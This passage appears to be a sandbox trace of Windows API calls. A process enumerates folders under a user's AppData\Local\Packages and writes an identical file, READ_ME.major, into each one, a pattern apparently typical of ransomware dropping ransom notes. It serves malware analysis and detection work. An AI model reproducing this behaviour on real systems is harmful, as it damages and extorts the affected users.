(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0183.653] WriteFile (in: hFile=0x86c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0183.654] CloseHandle (hObject=0x86c) returned 1 [0183.654] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1fd84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0183.654] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0183.655] WriteFile (in: hFile=0x86c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0183.655] CloseHandle (hObject=0x86c) returned 1 [0183.655] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c2046b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x627e1477, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0183.656] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0183.656] WriteFile (in: hFile=0x86c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0183.657] CloseHandle (hObject=0x86c) returned 1 [0183.657] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21fcebd4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21fcebd4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0183.657] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c20cc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0183.657] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0183.658] WriteFile (in: hFile=0x86c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0183.658] CloseHandle (hObject=0x86c) returned 1 [0183.658] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71175214, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71175214, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0183.659] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0183.743] WriteFile (in: hFile=0x86c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0183.744] CloseHandle (hObject=0x86c) returned 1 [0183.744] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802f4316, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x802f4316, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x802f4316, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0183.744] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0183.744] WriteFile (in: hFile=0x86c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0183.745] CloseHandle (hObject=0x86c) returned 1 [0183.746] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9d5a94a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0183.746] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0183.747] WriteFile (in: hFile=0x86c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0183.748] CloseHandle (hObject=0x86c) returned 1 [0183.748] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9d5a94a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0183.748] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda8902b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e7b8 [0183.748] FindNextFileW (in: hFindFile=0x58e7b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda8902b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0183.748] FindNextFileW (in: hFindFile=0x58e7b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xda94ee85, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0183.749] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.advertising.xaml_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0183.950] WriteFile (in: hFile=0x870, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0183.951] CloseHandle (hObject=0x870) returned 1 [0183.951] FindNextFileW (in: hFindFile=0x58e7b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21fcebd4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21fcebd4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0183.951] FindNextFileW (in: hFindFile=0x58e7b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21fcebd4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21fcebd4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0183.951] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf90959, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfafb82b, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e278 [0183.952] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf90959, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfafb82b, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0183.952] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d09b9ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31572d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31572d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0183.952] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0184.261] WriteFile (in: hFile=0x874, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.262] CloseHandle (hObject=0x874) returned 1 [0184.262] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d04f565, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6e222, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4d04f565, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0184.263] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0184.263] WriteFile (in: hFile=0x874, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.264] CloseHandle (hObject=0x874) returned 1 [0184.264] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6e9b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cfb6be1, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0184.264] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0184.265] WriteFile (in: hFile=0x874, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.266] CloseHandle (hObject=0x874) returned 1 [0184.266] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf90959, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6f1e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cf90959, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0184.266] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0184.267] WriteFile (in: hFile=0x874, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.268] CloseHandle (hObject=0x874) returned 1 [0184.268] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ff4d40, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21ff4d40, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0184.268] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6fc14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cfb6be1, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0184.268] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0184.268] WriteFile (in: hFile=0x874, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.269] CloseHandle (hObject=0x874) returned 1 [0184.269] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7119b46d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7119b46d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0184.269] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0184.359] WriteFile (in: hFile=0x874, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.360] CloseHandle (hObject=0x874) returned 1 [0184.360] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafb82b, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xfafb82b, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xfafb82b, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0184.360] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0184.361] WriteFile (in: hFile=0x874, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.362] CloseHandle (hObject=0x874) returned 1 [0184.362] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9faea07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cfb6be1, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0184.362] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0184.362] WriteFile (in: hFile=0x874, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.363] CloseHandle (hObject=0x874) returned 1 [0184.363] FindNextFileW (in: hFindFile=0x58e278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9faea07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cfb6be1, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 